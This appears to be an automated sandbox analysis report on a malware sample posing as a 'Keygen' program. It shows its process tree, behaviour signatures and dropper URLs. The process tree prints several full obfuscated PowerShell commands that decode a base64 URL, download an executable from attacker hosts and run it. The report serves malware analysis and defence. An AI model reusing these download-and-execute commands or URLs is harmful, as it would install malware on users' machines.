201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
41s
max time network
164s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (75) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

18 1248 powershell.exe
21 1248 powershell.exe
22 3920 powershell.exe
23 1272 powershell.exe
25 3920 powershell.exe
27 1272 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

3868 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3952 timeout.exe
1308 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe

flow	pid	process
18	1248	powershell.exe
21	1248	powershell.exe
22	3920	powershell.exe
23	1272	powershell.exe
25	3920	powershell.exe
27	1272	powershell.exe

pid	process
3868	Keygen.exe

pid	process
3952	timeout.exe
1308	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2896	powershell.exe
1272	powershell.exe
3088	powershell.exe
1248	powershell.exe
3920	powershell.exe
492	powershell.exe
492	powershell.exe
1248	powershell.exe
2896	powershell.exe
3088	powershell.exe
1272	powershell.exe
3920	powershell.exe
3088	powershell.exe
1248	powershell.exe
2896	powershell.exe
492	powershell.exe
1272	powershell.exe
3920	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	492	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

3868 Keygen.exe

pid	process
3868	Keygen.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

Keygen — копия (75) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exe

description	pid	process	target process
PID 336 wrote to memory of 2976	336	Keygen — копия (75) — копия.exe	cmd.exe
PID 336 wrote to memory of 2976	336	Keygen — копия (75) — копия.exe	cmd.exe
PID 336 wrote to memory of 2976	336	Keygen — копия (75) — копия.exe	cmd.exe
PID 2976 wrote to memory of 3868	2976	cmd.exe	Keygen.exe
PID 2976 wrote to memory of 3868	2976	cmd.exe	Keygen.exe
PID 2976 wrote to memory of 3868	2976	cmd.exe	Keygen.exe
PID 2976 wrote to memory of 3484	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3484	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3484	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3948	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3948	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3948	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3952	2976	cmd.exe	timeout.exe
PID 2976 wrote to memory of 3952	2976	cmd.exe	timeout.exe
PID 2976 wrote to memory of 3952	2976	cmd.exe	timeout.exe
PID 2976 wrote to memory of 964	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 964	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 964	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3644	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3644	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3644	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 1308	2976	cmd.exe	timeout.exe
PID 2976 wrote to memory of 1308	2976	cmd.exe	timeout.exe
PID 2976 wrote to memory of 1308	2976	cmd.exe	timeout.exe
PID 2976 wrote to memory of 1256	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 1256	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 1256	2976	cmd.exe	mshta.exe
PID 3644 wrote to memory of 492	3644	mshta.exe	powershell.exe
PID 3644 wrote to memory of 492	3644	mshta.exe	powershell.exe
PID 3644 wrote to memory of 492	3644	mshta.exe	powershell.exe
PID 3948 wrote to memory of 3088	3948	mshta.exe	powershell.exe
PID 3948 wrote to memory of 3088	3948	mshta.exe	powershell.exe
PID 3948 wrote to memory of 3088	3948	mshta.exe	powershell.exe
PID 964 wrote to memory of 1272	964	mshta.exe	powershell.exe
PID 964 wrote to memory of 1272	964	mshta.exe	powershell.exe
PID 964 wrote to memory of 1272	964	mshta.exe	powershell.exe
PID 3484 wrote to memory of 1248	3484	mshta.exe	powershell.exe
PID 3484 wrote to memory of 1248	3484	mshta.exe	powershell.exe
PID 3484 wrote to memory of 1248	3484	mshta.exe	powershell.exe
PID 2976 wrote to memory of 3864	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3864	2976	cmd.exe	mshta.exe
PID 2976 wrote to memory of 3864	2976	cmd.exe	mshta.exe
PID 1256 wrote to memory of 3920	1256	mshta.exe	powershell.exe
PID 1256 wrote to memory of 3920	1256	mshta.exe	powershell.exe
PID 1256 wrote to memory of 3920	1256	mshta.exe	powershell.exe
PID 3864 wrote to memory of 2896	3864	mshta.exe	powershell.exe
PID 3864 wrote to memory of 2896	3864	mshta.exe	powershell.exe
PID 3864 wrote to memory of 2896	3864	mshta.exe	powershell.exe
PID 1272 wrote to memory of 4908	1272	powershell.exe	frz.exe
PID 1272 wrote to memory of 4908	1272	powershell.exe	frz.exe
PID 1272 wrote to memory of 4908	1272	powershell.exe	frz.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (75) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (75) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (75) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2976

C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3868

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3484

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1248

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3088

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3952

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1272

C:\Users\Public\frz.exe
"C:\Users\Public\frz.exe"
5⤵
PID:4908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:492

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1308

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1256

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3920

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\EFD4.tmp\start.bat

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memory/492-37-0x0000000070BD0000-0x00000000712BE000-memory.dmp

Filesize
6.9MB

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memory/492-24-0x0000000000000000-mapping.dmp

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memory/492-44-0x00000000076A0000-0x00000000076A1000-memory.dmp

Filesize
4KB

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memory/964-13-0x0000000000000000-mapping.dmp

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memory/1248-34-0x0000000070BD0000-0x00000000712BE000-memory.dmp

Filesize
6.9MB

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memory/1248-27-0x0000000000000000-mapping.dmp

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memory/1256-23-0x0000000000000000-mapping.dmp

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memory/1272-32-0x0000000070BD0000-0x00000000712BE000-memory.dmp

Filesize
6.9MB

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memory/1272-38-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Filesize
4KB

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memory/1272-26-0x0000000000000000-mapping.dmp

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memory/1308-16-0x0000000000000000-mapping.dmp

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memory/2896-106-0x0000000009D40000-0x0000000009D41000-memory.dmp

Filesize
4KB

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memory/2896-74-0x0000000007320000-0x0000000007321000-memory.dmp

Filesize
4KB

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memory/2896-31-0x0000000000000000-mapping.dmp

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memory/2896-77-0x0000000007E60000-0x0000000007E61000-memory.dmp

Filesize
4KB

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memory/2896-35-0x0000000070BD0000-0x00000000712BE000-memory.dmp

Filesize
6.9MB

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memory/2896-104-0x00000000090A0000-0x00000000090A1000-memory.dmp

Filesize
4KB

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memory/2896-105-0x0000000008B00000-0x0000000008B01000-memory.dmp

Filesize
4KB

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memory/2976-0-0x0000000000000000-mapping.dmp

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memory/3088-55-0x00000000074D0000-0x00000000074D1000-memory.dmp

Filesize
4KB

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memory/3088-86-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

Filesize
4KB

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memory/3088-93-0x0000000008B90000-0x0000000008B91000-memory.dmp

Filesize
4KB

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memory/3088-50-0x0000000006C50000-0x0000000006C51000-memory.dmp

Filesize
4KB

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memory/3088-53-0x0000000007460000-0x0000000007461000-memory.dmp

Filesize
4KB

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memory/3088-92-0x00000000095D0000-0x00000000095D1000-memory.dmp

Filesize
4KB

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memory/3088-57-0x0000000007730000-0x0000000007731000-memory.dmp

Filesize
4KB

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memory/3088-25-0x0000000000000000-mapping.dmp

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memory/3088-33-0x0000000070BD0000-0x00000000712BE000-memory.dmp

Filesize
6.9MB

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memory/3484-7-0x0000000000000000-mapping.dmp

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memory/3644-15-0x0000000000000000-mapping.dmp

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memory/3864-29-0x0000000000000000-mapping.dmp

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memory/3868-3-0x0000000000000000-mapping.dmp

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memory/3868-2-0x0000000000000000-mapping.dmp

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memory/3920-30-0x0000000000000000-mapping.dmp

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memory/3920-36-0x0000000070BD0000-0x00000000712BE000-memory.dmp

Filesize
6.9MB

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memory/3948-9-0x0000000000000000-mapping.dmp

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memory/3952-10-0x0000000000000000-mapping.dmp

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